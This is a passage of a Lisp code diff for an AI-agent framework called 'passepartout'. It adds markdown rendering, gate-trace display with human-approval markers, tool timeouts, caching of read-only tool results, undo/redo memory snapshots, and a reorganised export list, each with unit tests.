+                       (setf pos (+ end (length delim)))
+                       t)))
+                 (url-end (start)
+                   (or (position-if (lambda (c) (find c '(#\Space #\Newline #\Tab #\))))
+                                    text :start start)
+                       len)))
+            (let ((next (earliest (earliest (earliest bold code) italic) url-s)))
+              (cond ((and bold (eql bold next)) (unless (pick :bold "**") (incf pos 2)))
+                    ((and code (eql code next)) (unless (pick :code "`") (incf pos)))
+                    ((and italic (eql italic next)) (unless (pick :underline "*") (incf pos)))
+                    ((and url-s (eql url-s next))
+                     (let ((ue (url-end url-s)))
+                       (push (cons (subseq text url-s ue) '(:url t)) results)
+                       (setf pos ue)))
+                    (t (push (cons (subseq text pos) nil) results) (return))))))))
+    (nreverse results)))
+
+(defun render-styled (fb segments y x w)
+  "Render markdown segments to cl-tty backend. Returns next y."
+  (dolist (seg segments)
+    (let* ((text (or (car seg) ""))
+           (attrs (cdr seg))
+           (bold (getf attrs :bold))
+           (code (getf attrs :code))
+           (url (getf attrs :url)))
+      (declare (ignore code))
+      (cl-tty.backend:draw-text fb x y text
+                               (cond (url (theme-color :highlight))
+                                     (t (theme-color (or (getf attrs :role) :agent))))
+                               nil
+                               :bold bold)
+      (incf x (length text))))
+  y)
+
+(defun parse-markdown-blocks (text)
+  "Split text at ``` code block boundaries."
+  (let ((r nil) (p 0) (l (length text)))
+    (loop
+     (when (>= p l) (return))
+     (let ((bs (search "```" text :start2 p)))
+       (unless bs
+         (push (cons (subseq text p) nil) r)
+         (return))
+       (when (> bs p)
+         (push (cons (subseq text p bs) nil) r))
+       (let* ((ao (+ bs 3))
+              (le (or (position #\Newline text :start ao) l))
+              (lang (string-trim " \r\n\t" (if (< le l) (subseq text ao le) "")))
+              (cs (if (< le l) (1+ le) l))
+              (cp (search "```" text :start2 cs))
+              (ce (or cp l))
+              (content (string-trim "\r\n" (subseq text cs ce))))
+         (push (list :code-block t :lang lang :content content) r)
+         (setf p (if cp (+ cp 3) l)))))
+    (nreverse r)))
+
+(defun syntax-highlight (code lang)
+  "Highlight Lisp code: strings, comments, keywords, function calls."
+  (declare (ignore lang))
+  (let* ((r nil) (p 0) (l (length code))
+         (kw '("defun" "defvar" "defparameter" "let" "let*" "lambda" "if" "when" "unless"
+               "cond" "loop" "dolist" "dotimes" "progn" "prog1" "return"
+               "setf" "setq" "format" "and" "or" "not" "list" "cons"
+               "quote" "function" "declare" "ignore" "t" "nil")))
+    (flet ((wordp (c) (or (alphanumericp c) (find c "-*+/?!_=<>"))))
+      (loop
+       (when (>= p l) (return))
+       (let* ((ss (position #\" code :start p))
+              (sc (position #\; code :start p))
+              (sp (position #\( code :start p))
+              (next (min (or ss l) (or sc l) (or sp l))))
+         (when (> next p)
+           (push (cons (subseq code p next) nil) r)
+           (setf p next))
+         (when (>= p l) (return))
+         (cond
+          ((eql p ss)
+           (let ((e (or (position #\" code :start (1+ p)) l)))
+             (push (cons (subseq code p (min (1+ e) l)) '(:fgcolor :string)) r)
+             (setf p (min (1+ e) l))))
+          ((eql p sc)
+           (let ((e (or (position #\Newline code :start p) l)))
+             (push (cons (subseq code p e) '(:fgcolor :comment)) r)
+             (setf p e)))
+          ((eql p sp)
+           (push (cons "(" nil) r)
+           (incf p)
+           (let ((fe (loop for i from p below l for c = (char code i)
+                           while (wordp c) finally (return i))))
+             (when (> fe p)
+               (let ((fs (subseq code p fe)))
+                 (push (cons fs (list :fgcolor (if (member fs kw :test #'string=)
+                                                   :keyword :function))) r)
+                 (setf p fe)))))))))
+    (nreverse r)))
+
+(in-package :passepartout)
+
+(defun gate-trace-lines (trace)
+  "Convert gate-trace plist to display lines."
+  (let ((lines nil))
+    (dolist (entry trace)
+      (let* ((gate (getf entry :gate))
+             (result (getf entry :result))
+             (reason (getf entry :reason))
+             (name (or gate "unknown"))
+             (color (case result
+                      (:passed :gate-passed)
+                      (:blocked :gate-blocked)
+                      (:approval :gate-approval)
+                      (t :dim)))
+             (prefix (case result
+                       (:passed "  \u2713 ")
+                       (:blocked "  \u2717 ")
+                       (:approval "  \u2192 ")
+                       (t "  ? ")))
+             (text (format nil "~a~a~@[~a~]~@[~a~]"
+                           prefix name
+                           (when reason (format nil ": ~a" reason))
+                           (if (eq result :approval) " (HITL required)" ""))))
+        (push (cons text (list :fgcolor color)) lines)))
+    (nreverse lines)))
+
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -162,3 +350,81 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
 (test test-char-width-null
   "Contract 5: null has width 0."
   (is (= 0 (passepartout::char-width #\Nul))))
+
+(test test-markdown-bold
+  "Contract 7: parse-markdown-spans detects **bold**."
+  (let ((segments (passepartout::parse-markdown-spans "hello **world**!")))
+    (is (= 3 (length segments)))))
+
+(test test-markdown-plain
+  "Contract 7: plain text returns single segment."
+  (let ((segments (passepartout::parse-markdown-spans "plain")))
+    (is (= 1 (length segments)))
+    (is (string= "plain" (caar segments)))))
+
+(test test-markdown-url
+  "Contract 7: parse-markdown-spans detects URLs."
+  (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more")))
+    (is (>= (length segments) 2))
+    (is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
+
+(test test-markdown-blocks
+  "Contract 8: parse-markdown-blocks detects code blocks."
+  (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
+         (segs (passepartout::parse-markdown-blocks text)))
+    (is (= 3 (length segs)))
+    (let ((code (second segs)))
+      (is (eq t (getf code :code-block)))
+      (is (string= "lisp" (getf code :lang)))
+      (is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
+
+(test test-markdown-blocks-no-close
+  "Contract 8: unclosed code block returns content."
+  (let* ((text (format nil "```~%unclosed code"))
+         (segs (passepartout::parse-markdown-blocks text)))
+    (is (= 1 (length segs)))
+    (is (eq t (getf (first segs) :code-block)))))
+
+(test test-syntax-highlight
+  "Contract 9: syntax-highlight colors Lisp code."
+  (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
+    (is (>= (length segs) 3))))
+
+(test test-syntax-highlight-keyword
+  "Contract 9: syntax-highlight colors keywords."
+  (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
+    (is (>= (length segs) 2))
+    (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
+
+(test test-syntax-highlight-function
+  "Contract 9: syntax-highlight colors function calls."
+  (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
+    (is (>= (length segs) 2))
+    (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
+
+(test test-gate-trace-lines-passed
+  "Contract 9: gate-trace-lines for passed gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "path" :result :passed)))))
+    (is (= 1 (length lines)))
+    (is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
+
+(test test-gate-trace-lines-blocked
+  "Contract 9: gate-trace-lines for blocked gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "shell" :result :blocked :reason "rm")))))
+    (is (= 1 (length lines)))
+    (is (search "rm" (caar lines)))))
+
+(test test-gate-trace-lines-approval
+  "Contract 9: gate-trace-lines for approval gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "network" :result :approval)))))
+    (is (= 1 (length lines)))
+    (is (search "HITL" (caar lines)))))
+
+(test test-init-state-has-collapsed-gates
+  "Contract v0.7.2: init-state includes :collapsed-gates field."
+  (passepartout.channel-tui::init-state)
+  (let ((cg (passepartout.channel-tui::st :collapsed-gates)))
+    (is (null cg))))

lisp/core-act.lisp

@@ -32,6 +32,19 @@
                                         0))
                                  (setf (getf (getf action :payload) :foveal-id)
                                        (getf context :foveal-id))
+                                 ;; v0.8.0: sidebar enrichment via fboundp guards
+                                 (when (fboundp 'dispatcher-block-counts-summary)
+                                   (setf (getf (getf action :payload) :block-counts)
+                                         (dispatcher-block-counts-summary)))
+                                 (when (fboundp 'context-usage-percentage)
+                                   (setf (getf (getf action :payload) :context-usage)
+                                         (context-usage-percentage)))
+                                 (when (fboundp 'tool-modified-files-summary)
+                                   (setf (getf (getf action :payload) :modified-files)
+                                         (tool-modified-files-summary)))
+                                 (when (fboundp 'cost-session-summary)
+                                   (setf (getf (getf action :payload) :session-cost)
+                                         (cost-session-summary)))
                                  (format stream "~a" (frame-message action))
                                  (finish-output stream))))))
 
@@ -81,21 +94,89 @@
          (meta (getf context :meta))
          (source (getf meta :source))
          (tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
+    ;; v0.7.2: snapshot before destructive tool execution
+    (when (and tool (not (cognitive-tool-read-only-p tool)))
+      (undo-snapshot))
     (if tool
         (handler-case
             (let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
-                   (result (funcall (cognitive-tool-body tool) clean-args)))
+                   (is-read-only (cognitive-tool-read-only-p tool))
+                   (cache-key (when is-read-only (tool-cache-key tool-name clean-args)))
+                   (cached (when cache-key (gethash cache-key *tool-cache*)))
+                   (raw-result (if cached
+                                   (progn (log-message "TOOL-CACHE: hit for ~a" tool-name) cached)
+                                   (let* ((res (call-with-tool-timeout tool-name
+                                                (lambda () (funcall (cognitive-tool-body tool) clean-args)))))
+                                     (when (and is-read-only cache-key)
+                                       (setf (gethash cache-key *tool-cache*) res))
+                                     res))))
+              ;; Timeout: propagate error
+              (when (and (listp raw-result) (eq (getf raw-result :status) :error))
+                (return-from action-tool-execute
+                  (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
+                        :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name
+                                      :MESSAGE (getf raw-result :message)))))
               (when source
                 (action-dispatch (list :TYPE :REQUEST :TARGET source 
-                                       :PAYLOAD (list :ACTION :MESSAGE :TEXT (tool-result-format tool-name result)))
+                                       :PAYLOAD (list :ACTION :MESSAGE :TEXT (tool-result-format tool-name raw-result)))
                                 context))
               (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
-                    :PAYLOAD (list :SENSOR :tool-output :RESULT result :TOOL tool-name)))
+                    :PAYLOAD (list :SENSOR :tool-output :RESULT raw-result :TOOL tool-name)))
           (error (c)
             (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
                   :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name :MESSAGE (format nil "~a" c)))))
         (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
-              :PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name))))))
+               :PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name))))))
+
+(defvar *tool-timeouts* (make-hash-table :test 'equal)
+  "Per-tool timeout in seconds. Default 120s.")
+
+;; Defaults: shell=300s, search-files=30s, eval-form=10s
+(setf (gethash "shell" *tool-timeouts*) 300)
+(setf (gethash "search-files" *tool-timeouts*) 30)
+(setf (gethash "eval-form" *tool-timeouts*) 10)
+
+(defun tool-timeout (tool-name)
+  "Return timeout for tool-name, default 120 seconds."
+  (gethash (string-downcase (string tool-name)) *tool-timeouts* 120))
+
+(defun call-with-tool-timeout (tool-name fn)
+  "Execute FN within the timeout for TOOL-NAME.
+On timeout, returns (:status :error :message ...)."
+  (let ((timeout (tool-timeout tool-name)))
+    (handler-case
+        (sb-ext:with-timeout timeout
+          (funcall fn))
+      (sb-ext:timeout (c)
+        (declare (ignore c))
+        (list :status :error :message
+              (format nil "Timed out after ~a second~:p" timeout))))))
+
+(defun verify-write (filepath expected-content)
+  "Verify that FILEPATH contains EXPECTED-CONTENT after write.
+Returns T on match, logs and returns NIL on mismatch or read error."
+  (handler-case
+      (let ((actual (uiop:read-file-string filepath)))
+        (if (string= expected-content actual)
+            t
+            (progn
+              (log-message "WRITE-VERIFY: Mismatch in ~a" filepath)
+              nil)))
+    (error (c)
+      (log-message "WRITE-VERIFY: Cannot read ~a: ~a" filepath c)
+      nil)))
+
+;; v0.7.2: read-only tool response cache
+(defvar *tool-cache* (make-hash-table :test 'equal)
+  "Cache for read-only tool results. Key: tool-name$sxhash-args. Cleared per session.")
+
+(defun tool-cache-key (tool-name args)
+  "Build a cache key from TOOL-NAME and ARGS."
+  (format nil "~a$~a" (string-downcase (string tool-name)) (sxhash args)))
+
+(defun tool-cache-clear ()
+  "Clear the read-only tool response cache."
+  (clrhash *tool-cache*))
 
 (defun tool-result-format (tool-name result)
   "Format a tool result for display."
@@ -224,3 +305,67 @@ For approval-required actions, creates a Flight Plan instead of executing."
   (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
                                   '(:type :EVENT :depth 0))))
     (is (numberp result) "eval should return a number")))
+
+(test test-tool-timeout-shell
+  "Contract v0.7.2: shell timeout is 300 seconds."
+  (is (= 300 (passepartout::tool-timeout "shell"))))
+
+(test test-tool-timeout-unknown
+  "Contract v0.7.2: unknown tool gets default 120s."
+  (is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
+
+(test test-verify-write-match
+  "Contract v0.7.2: verify-write returns T on match."
+  (let ((path "/tmp/passepartout-verify-test.org")
+        (content "test content"))
+    (with-open-file (f path :direction :output :if-exists :supersede)
+      (write-string content f))
+    (unwind-protect
+         (is (passepartout::verify-write path content))
+      (ignore-errors (delete-file path)))))
+
+(test test-tool-timeout-enforcement
+  "Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
+  (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
+  (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "sleep-forever"
+                                          :read-only-p nil
+                                          :body (lambda (args)
+                                                  (declare (ignore args))
+                                                  (sleep 10)
+                                                  "done")))
+  (unwind-protect
+       (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
+              (ctx '(:depth 0))
+              (result (passepartout::action-tool-execute action ctx)))
+         (is (eq :EVENT (getf result :TYPE)))
+         (let ((payload (getf result :PAYLOAD)))
+           (is (eq :tool-error (getf payload :SENSOR)))
+           (is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
+    (remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
+    (remhash "sleep-forever" passepartout::*tool-timeouts*)))
+
+(test test-tool-cache-read-only
+  "Contract v0.7.2: read-only tool results are cached and reused."
+  (let ((call-count 0))
+    (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
+          (passepartout::make-cognitive-tool :name "cache-test"
+                                            :read-only-p t
+                                            :body (lambda (args)
+                                                    (declare (ignore args))
+                                                    (incf call-count)
+                                                    (list :status :success :content (format nil "call ~d" call-count)))))
+    (unwind-protect
+         (progn
+           (clrhash passepartout::*tool-cache*)
+           (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
+                  (ctx '(:depth 0))
+                  (r1 (passepartout::action-tool-execute action ctx))
+                  (r2 (passepartout::action-tool-execute action ctx)))
+             (is (= 1 call-count) "Second call should hit cache, not re-execute")
+             (let ((p1 (getf r1 :PAYLOAD))
+                   (p2 (getf r2 :PAYLOAD)))
+               (is (string= (getf (getf p1 :RESULT) :CONTENT)
+                            (getf (getf p2 :RESULT) :CONTENT))))))
+      (remhash "cache-test" passepartout::*cognitive-tool-registry*)
+      (clrhash passepartout::*tool-cache*))))

lisp/core-memory.lisp

@@ -151,6 +151,73 @@
           (error (c) (log-message "MEMORY WARNING - Failed to load snapshot: ~a" c)))))
   t)
 
+;; v0.7.2 — Undo/Redo
+(defvar *undo-stack* nil
+  "Ring buffer of pre-operation memory snapshots. Newest first, max 20.")
+(defvar *redo-stack* nil
+  "Stack of snapshots saved during undo for redo. Max 20.")
+
+(defun undo-snapshot ()
+  "Save current memory state to the undo stack."
+  (let ((snap (list :timestamp (get-universal-time)
+                    :data (memory-hash-table-copy *memory-store*))))
+    (push snap *undo-stack*)
+    (when (> (length *undo-stack*) 20)
+      (setf *undo-stack* (subseq *undo-stack* 0 20)))))
+
+(defun undo (&optional source)
+  "Restore memory to the most recent undo snapshot. Returns T on success, NIL if stack empty."
+  (declare (ignore source))
+  (if *undo-stack*
+      (let ((snap (pop *undo-stack*)))
+        (push (list :timestamp (get-universal-time)
+                    :data (memory-hash-table-copy *memory-store*))
+              *redo-stack*)
+        (when (> (length *redo-stack*) 20)
+          (setf *redo-stack* (subseq *redo-stack* 0 20)))
+        (setf *memory-store* (memory-hash-table-copy (getf snap :data)))
+        (log-message "UNDO: Memory restored to snapshot ~a" (getf snap :timestamp))
+        t)
+      (progn (log-message "UNDO: No snapshots to undo") nil)))
+
+(defun redo (&optional source)
+  "Restore memory to the most recent redo snapshot. Returns T on success, NIL if stack empty."
+  (declare (ignore source))
+  (if *redo-stack*
+      (let ((snap (pop *redo-stack*)))
+        (push (list :timestamp (get-universal-time)
+                    :data (memory-hash-table-copy *memory-store*))
+              *undo-stack*)
+        (when (> (length *undo-stack*) 20)
+          (setf *undo-stack* (subseq *undo-stack* 0 20)))
+        (setf *memory-store* (memory-hash-table-copy (getf snap :data)))
+        (log-message "REDO: Memory restored to snapshot ~a" (getf snap :timestamp))
+        t)
+      (progn (log-message "REDO: No snapshots to redo") nil)))
+
+(defun audit-node (node-id)
+  "Return audit info for a memory object by ID."
+  (let ((obj (memory-object-get node-id)))
+    (when obj
+      (list :id node-id :type (memory-object-type obj)
+            :version (memory-object-version obj)
+            :hash (or (memory-object-hash obj) "(none)")
+            :scope (memory-object-scope obj)))))
+
+(defun audit-verify-hash ()
+  "Count memory objects and report any with missing/empty hashes.
+Returns (total . missing-hashes)."
+  (let ((total 0) (missing 0))
+    (maphash (lambda (id obj)
+               (declare (ignore id))
+               (when obj
+                 (incf total)
+                 (let ((h (memory-object-hash obj)))
+                   (when (or (null h) (string= h ""))
+                     (incf missing)))))
+             *memory-store*)
+    (cons total missing)))
+
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -211,3 +278,74 @@
   (rollback-memory 0)
   (is (not (null (memory-object-get "snap-a"))))
   (is (null (memory-object-get "snap-b"))))
+
+(test test-undo-snapshot-restore
+  "Contract v0.7.2: undo-snapshot captures state, undo restores."
+  (let ((orig-store passepartout::*memory-store*)
+        (orig-undo passepartout::*undo-stack*)
+        (orig-redo passepartout::*redo-stack*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
+                 passepartout::*undo-stack* nil
+                 passepartout::*redo-stack* nil)
+           (passepartout::undo-snapshot)
+           (setf (gethash "x" passepartout::*memory-store*) "hello")
+           (is (string= "hello" (gethash "x" passepartout::*memory-store*)))
+           (is (passepartout::undo))
+           (is (null (gethash "x" passepartout::*memory-store*))))
+      (setf passepartout::*memory-store* orig-store
+            passepartout::*undo-stack* orig-undo
+            passepartout::*redo-stack* orig-redo))))
+
+(test test-undo-redo-cycle
+  "Contract v0.7.2: redo restores undone state."
+  (let ((orig-store passepartout::*memory-store*)
+        (orig-undo passepartout::*undo-stack*)
+        (orig-redo passepartout::*redo-stack*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
+                 passepartout::*undo-stack* nil
+                 passepartout::*redo-stack* nil)
+           (passepartout::undo-snapshot)
+           (setf (gethash "y" passepartout::*memory-store*) "world")
+           (is (passepartout::undo))
+           (is (null (gethash "y" passepartout::*memory-store*)))
+           (is (passepartout::redo))
+           (is (string= "world" (gethash "y" passepartout::*memory-store*))))
+      (setf passepartout::*memory-store* orig-store
+            passepartout::*undo-stack* orig-undo
+            passepartout::*redo-stack* orig-redo))))
+
+(test test-undo-empty-stack-nil
+  "Contract v0.7.2: undo returns nil on empty stack."
+  (let ((orig-undo passepartout::*undo-stack*))
+    (unwind-protect
+         (progn (setf passepartout::*undo-stack* nil)
+                (is (null (passepartout::undo))))
+      (setf passepartout::*undo-stack* orig-undo))))
+
+(test test-audit-node-found
+  "Contract v0.7.2: audit-node returns info for existing object."
+  (clrhash passepartout::*memory-store*)
+  (setf (gethash "audit-1" passepartout::*memory-store*)
+        (passepartout::make-memory-object :id "audit-1" :type :HEADLINE
+                                         :version 1 :hash "abc123" :scope :memex))
+  (let ((info (passepartout::audit-node "audit-1")))
+    (is (not (null info)))
+    (is (eq :HEADLINE (getf info :type)))
+    (is (string= "abc123" (getf info :hash)))))
+
+(test test-audit-node-not-found
+  "Contract v0.7.2: audit-node returns nil for nonexistent id."
+  (is (null (passepartout::audit-node "nonexistent-xxxx"))))
+
+(test test-audit-verify-hash
+  "Contract v0.7.2: audit-verify-hash returns (total . missing)."
+  (clrhash passepartout::*memory-store*)
+  (setf (gethash "a" passepartout::*memory-store*)
+        (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
+  (let ((result (passepartout::audit-verify-hash)))
+    (is (= 1 (car result)))
+    (is (= 0 (cdr result)))))

lisp/core-package.lisp

@@ -1,24 +1,40 @@
 (defpackage :passepartout
   (:use :cl)
   (:export
+   ;; ── Core: Transport & Protocol ──
    #:frame-message
    #:read-framed-message
-    #:PROTO-GET
-    #:proto-get
-   #:*VAULT-MEMORY*
+   #:PROTO-GET
+   #:proto-get
    #:make-hello-message
    #:validate-communication-protocol-schema
    #:start-daemon
-   #:log-message
+   #:register-actuator
+   #:actuator-initialize
+   #:action-dispatch
+
+   ;; ── Core: Pipeline ──
    #:main
-    #:diagnostics-run-all
-    #:diagnostics-main
-    #:diagnostics-dependencies-check
-    #:diagnostics-env-check
-    #:register-provider
-    #:provider-openai-request
-    #:provider-config
-   #:run-setup-wizard
+   #:log-message
+   #:*log-buffer*
+   #:*log-lock*
+   #:process-signal
+   #:loop-process
+   #:perceive-gate
+   #:loop-gate-perceive
+   #:act-gate
+   #:loop-gate-act
+   #:reason-gate
+   #:loop-gate-reason
+   #:cognitive-verify
+   #:backend-cascade-call
+   #:json-alist-to-plist
+   #:stimulus-inject
+   #:register-probabilistic-backend
+   #:*probabilistic-backends*
+   #:*provider-cascade*
+
+   ;; ── Core: Memory ──
    #:ingest-ast
    #:memory-object-get
    #:*memory-store*
@@ -35,12 +51,20 @@
    #:memory-object-content
    #:memory-object-hash
    #:memory-object-scope
+   #:memory-objects-by-attribute
    #:snapshot-memory
    #:rollback-memory
-    #:context-get-system-logs
-    #:context-assemble-global-awareness
-    #:context-awareness-assemble
-    #:context-query
+   #:undo-snapshot
+   #:undo
+   #:redo
+   #:*undo-stack*
+   #:*redo-stack*
+
+   ;; ── Core: Context & Awareness ──
+   #:context-get-system-logs
+   #:context-assemble-global-awareness
+   #:context-awareness-assemble
+   #:context-query
    #:push-context
    #:pop-context
    #:current-context
@@ -52,143 +76,154 @@
    #:focus-session
    #:focus-memex
    #:unfocus
-   #:process-signal
-   #:loop-process
-    #:perceive-gate
-    #:loop-gate-perceive
-    #:act-gate
-    #:loop-gate-act
-    #:reason-gate
-    #:loop-gate-reason
-    #:cognitive-verify
-    #:backend-cascade-call
-    #:json-alist-to-plist
-    #:json-alist-to-plist
-    #:inject-stimulus
-    #:stimulus-inject
-    #:hitl-create
-    #:hitl-approve
-    #:hitl-deny
-    #:hitl-handle-message
-    #:dispatcher-check-secret-path
-    #:dispatcher-check-shell-safety
-    #:dispatcher-check-privacy-tags
-    #:dispatcher-check-network-exfil
-    #:dispatcher-gate
-    #:wildcard-match
-    #:actuator-initialize
-   #:action-dispatch
-   #:register-actuator
-   #:load-skill-from-org
-    #:skill-initialize-all
-    #:lisp-syntax-validate
-    #:defskill
-       #:*skill-registry*
-       #:*scope-resolver*
-       #:*embedding-backend*
-       #:*embedding-queue*
-       #:*embedding-provider*
-       #:embed-queue-object
-       #:embed-object
-       #:embed-all-pending
-       #:embedding-backend-hashing
-       #:embedding-backend-native
-       #:embedding-native-load-model
-       #:embedding-native-unload
-       #:embedding-native-ensure-loaded
-       #:embedding-native-get-dim
-       #:embeddings-compute
-       #:mark-vector-stale
-     #:skill
+   #:*scope-resolver*
+
+   ;; ── Core: Skills Engine ──
+   #:skill
    #:skill-name
    #:skill-priority
    #:skill-dependencies
    #:skill-trigger-fn
    #:skill-probabilistic-prompt
    #:skill-deterministic-fn
+   #:defskill
+   #:*skill-registry*
+   #:skill-initialize-all
+   #:load-skill-from-org
+   #:lisp-syntax-validate
+
+   ;; ── Core: Cognitive Tools ──
    #:def-cognitive-tool
    #:*cognitive-tool-registry*
-    #:org-read-file
-    #:org-write-file
-    #:org-headline-add
-    #:org-headline-find-by-id
-    #:literate-tangle-sync-check
-    #:archivist-create-note
-    #:gateway-start
-    #:org-property-set
-    #:org-todo-set
-    #:org-id-generate
-    #:org-id-format
-    #:org-modify
-    #:lisp-validate
-    #:lisp-structural-check
-    #:lisp-syntactic-check
-    #:lisp-semantic-check
-    #:lisp-eval
-    #:lisp-format
-    #:lisp-list-definitions
-    #:lisp-extract
-    #:lisp-inject
-    #:lisp-slurp
-   #:get-oc-config-dir
-    #:get-tool-permission
-    #:set-tool-permission
-    #:check-tool-permission-gate
-    #:permission-get
-    #:permission-set
    #:cognitive-tool
    #:cognitive-tool-name
    #:cognitive-tool-description
    #:cognitive-tool-parameters
    #:cognitive-tool-guard
    #:cognitive-tool-body
-   #:register-probabilistic-backend
-   #:*probabilistic-backends*
-   #:*provider-cascade*
-    #:vault-get
-    #:vault-set
-    #:vault-get-secret
-    #:vault-set-secret
-    #:memory-objects-by-attribute
-    #:channel-cli-input
-    #:repl-eval
-    #:repl-inspect
-    #:repl-list-vars
-    #:policy-compliance-check
-    #:validator-protocol-check
-    #:archivist-extract-headlines
-    #:archivist-headline-to-filename
-    #:literate-extract-lisp-blocks
-    #:literate-block-balance-check
-    #:gateway-registry-initialize
-    #:messaging-link
-    #:messaging-unlink
-    #:gateway-configured-p
-    #:count-tokens
-    #:model-token-ratio
-    #:token-cost
-    #:provider-token-cost
-    #:cost-track-call
-    #:cost-session-total
-    #:cost-session-calls
-    #:cost-by-provider
-    #:cost-session-reset
-    #:cost-format-budget-status
-    #:cost-track-backend-call
-    #:prompt-prefix-cached
-    #:context-assemble-cached
-    #:enforce-token-budget
-    #:token-economics-initialize))
+   #:tool-read-only-p
+
+   ;; ── Security: Dispatcher ──
+   #:dispatcher-check-secret-path
+   #:dispatcher-check-shell-safety
+   #:dispatcher-check-privacy-tags
+   #:dispatcher-check-network-exfil
+   #:dispatcher-check
+   #:dispatcher-gate
+   #:wildcard-match
+
+   ;; ── Security: HITL ──
+   #:hitl-create
+   #:hitl-approve
+   #:hitl-deny
+   #:hitl-handle-message
+
+   ;; ── Security: Vault & Permissions ──
+   #:*VAULT-MEMORY*
+   #:vault-get
+   #:vault-set
+   #:vault-get-secret
+   #:vault-set-secret
+   #:get-tool-permission
+   #:set-tool-permission
+   #:check-tool-permission-gate
+   #:permission-get
+   #:permission-set
+   #:policy-compliance-check
+   #:validator-protocol-check
+
+   ;; ── Embedding ──
+   #:*embedding-backend*
+   #:*embedding-queue*
+   #:*embedding-provider*
+   #:embed-queue-object
+   #:embed-object
+   #:embed-all-pending
+   #:embedding-backend-hashing
+   #:embedding-backend-native
+   #:embedding-native-load-model
+   #:embedding-native-unload
+   #:embedding-native-ensure-loaded
+   #:embedding-native-get-dim
+   #:embeddings-compute
+   #:mark-vector-stale
+
+   ;; ── Channels ──
+   #:channel-cli-input
+   #:gateway-start
+   #:gateway-registry-initialize
+   #:messaging-link
+   #:messaging-unlink
+   #:gateway-configured-p
+
+   ;; ── Programming: Lisp ──
+   #:lisp-validate
+   #:lisp-structural-check
+   #:lisp-syntactic-check
+   #:lisp-semantic-check
+   #:lisp-eval
+   #:lisp-format
+   #:lisp-list-definitions
+   #:lisp-extract
+   #:lisp-inject
+   #:lisp-slurp
+
+   ;; ── Programming: Org ──
+   #:org-read-file
+   #:org-write-file
+   #:org-headline-add
+   #:org-headline-find-by-id
+   #:org-property-set
+   #:org-todo-set
+   #:org-id-generate
+   #:org-id-format
+   #:org-modify
+
+   ;; ── Programming: Literate & REPL ──
+   #:literate-tangle-sync-check
+   #:literate-extract-lisp-blocks
+   #:literate-block-balance-check
+   #:repl-eval
+   #:repl-inspect
+   #:repl-list-vars
+
+   ;; ── Symbolic ──
+   #:archivist-create-note
+   #:archivist-extract-headlines
+   #:archivist-headline-to-filename
+
+   ;; ── Diagnostics & Config ──
+   #:diagnostics-run-all
+   #:diagnostics-main
+   #:diagnostics-dependencies-check
+   #:diagnostics-env-check
+   #:get-oc-config-dir
+   #:run-setup-wizard
+
+   ;; ── Providers ──
+   #:register-provider
+   #:provider-openai-request
+   #:provider-config
+
+   ;; ── Token Economics ──
+   #:count-tokens
+   #:model-token-ratio
+   #:token-cost
+   #:provider-token-cost
+   #:cost-track-call
+   #:cost-session-total
+   #:cost-session-calls
+   #:cost-by-provider
+   #:cost-session-reset
+   #:cost-format-budget-status
+   #:cost-track-backend-call
+   #:prompt-prefix-cached
+   #:context-assemble-cached
+   #:enforce-token-budget
+   #:token-economics-initialize))
 
 (in-package :passepartout)
 
-(defun plist-get (plist key)
-  "Robust plist accessor — checks both :KEY and :key variants."
-  (let* ((s (string key))
-         (up (intern (string-upcase s) :keyword))
-         (dn (intern (string-downcase s) :keyword)))
-    (or (getf plist up) (getf plist dn))))
-
 (defvar *log-buffer* nil)
 (defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
 (defvar *log-limit* 100)
@@ -216,16 +251,18 @@
   description
   parameters
   guard
-  body)
+  body
+  read-only-p)
 
-(defmacro def-cognitive-tool (name description parameters &key guard body)
+(defmacro def-cognitive-tool (name description parameters &key guard body read-only-p)
   "Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter."
   `(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*)
